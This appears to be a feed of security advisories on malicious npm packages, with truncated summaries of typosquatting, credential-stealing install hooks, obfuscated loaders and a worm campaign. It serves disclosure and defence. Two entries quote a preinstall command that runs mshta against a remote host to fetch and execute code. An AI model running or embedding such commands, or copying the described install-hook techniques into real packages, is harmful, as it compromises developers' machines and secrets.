Malicious code in ref-slot (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1e1ef3e785cf6cb007c0b33be2ed43ebe49d64f476bb4fb3a66b914b06def5e1 On npm install, the package's postinstall hook runs node test.js which invokes index.js to perform multi-stage installer compromise. 1 Credential...

Malicious code in leo-connector-elasticsearch (npm)

The leo-connector-elasticsearch npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the...

MAL-2026-6431 Malicious code in leo-streams (npm)

The leo-streams npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...

MAL-2026-6336 Malicious code in sync-external (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dc297a0deaba794fdbfccc280a79c7cc895f21fc4e0122b1fba1bc4759b66c3f The package ships an obfuscated JavaScript file at shim/index.js using hex-style identifier mangling 0x391f3f, 0x3eff0a, 0x534564, etc. characteristi...

Malicious code in onboarding-respects-modal (npm)

onboarding-respects-modal is a dependency confusion proof-of-concept package published to the public npm registry by the account r0binak and self-labeled "Security research PoC - Dependency Confusion Hunter". It was published at the artificially high version 999.99.99, a floating-version bait use...

MAL-2026-6309 Malicious code in @nullzero/urlcat (npm)

@nullzero/urlcat version 1.4.2, published by [email protected] is a trojanized npm package belonging to the wshu.net credential-stealer campaign. The campaign published trojanized look-alike utility packages across 12+ scopes whose publisher accounts all follow the pattern [email protected], with...

MAL-2026-6232 Malicious code in free-claude (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7e5cf1276f4faf6de26e95f05cc2bb95d90c71473c20e9542c9e88c2d949dfb9 Package name 'free-claude' and author 'anthropic-claude' impersonate Anthropic's Claude product, with a README claiming to install the official Claud...

Malicious code in @apiwizards/auth-middleware (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 718ca10ce0670edf6756b4ff0bd05e43526ebd516396a34074acf844116e7254 @apiwizards/[email protected] ships a single heavily obfuscated index.js obfuscator.io string-array with 317 entries, RC4+base64 decoder,...

Malicious code in chai-as-attested (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 88e27467366a90f482eb47476458b1f74d5a41ac63371572e527f2e60e4e0b51 Package impersonates a pino-style logger exports module.exports.pino, ships pino-like DEFAULTLEVELS, keywords fast/logger/stream/json but the exporte...

Malicious code in new-ecro (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7492a140547cea0957bc705d365e19806091462a249c3d5c90b6bfe91e8431c7 Package 'new-ecro' impersonates the legitimate 'big.js' library: it copies big.js's README, source, version banner 'big.js v7.0.1', author email, and...

Malicious code in eslint-helper-1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cfadd6e70cf70ee03d7aae8bfcaa916d29073c5e09ca614bfcb4538c3efc1832 Package masquerades as an ESLint helper but contains code in index.js that decodes base64 blobs through Buffer.from..., 'base64'.toString and pipes t...

MAL-2026-5990 Malicious code in pkg-telemetry-r4f9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector decf727db779a7cc4017b0bd8000f9fb40bcc5c6d93b016144a94e245886ea4e On install, package.json's postinstall hook runs node run.js, which loads beacon scripts that combine childprocess, os, and http modules to collect...

Malicious code in params-valid-js (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 397af72237ba3626ac4727497662530f602c2ce6ec71406f48b508055687366c The package presents itself as 'Simplified HTTP request client' and copies identity metadata from Mikeal Rogers' legitimate request package bugs URL...

Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

MAL-2026-5927 Malicious code in aillmgen (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5b303e830a204ad1ee237f0403a2844f5dce96fa3e3841392ce92d7f3f502341 On npm install, the package's preinstall hook preinstall.js runs exec'cmd /c "mshta http://fixars.top"', invoking the Windows mshta.exe binary to fet...

MAL-2026-5919 Malicious code in pretie_x1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f6308c285cb943f91fc16f7872bce135b8347b827139f5ad0cf8706ba992f104 Package masquerades as the prettier formatter name pretiex1, description "Opinionated code formatter for modern JavaScript and TypeScript.", keywords...

MAL-2026-5849 Malicious code in vite-configu-react (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 7755490e331340729b0f6eab38cac0857e0aea337579950f610e728b300367fa Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-5838 Malicious code in tn-advertisement (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1b13ed4147b360eee88a36d9fe649dccbef37cf9019072841e697b88b6e4d3d2 On require, index.js performs an unconditional http.get to a unique subdomain of oastify.com Burp Suite Collaborator out-of-band testing...

MAL-2026-5825 Malicious code in @intentsolution/database-security-scanner (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7b1f4da3cb40cc2e1396230869d85bcc5a3c9267c0dc3c60dc297c08d1882230 The package's main file index.js is heavily obfuscated using obfuscator.io-style string-array rotation, base64 fragments, and per-byte XOR decoders...

Malicious code in vend-utilities (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 89ed34c4d09a0f8bb373f141d18157203eb73efec9461434a7957dfe17ba72f1 package.json declares preinstall: node index.js, causing index.js to run automatically on npm install. The script collects installer host identity...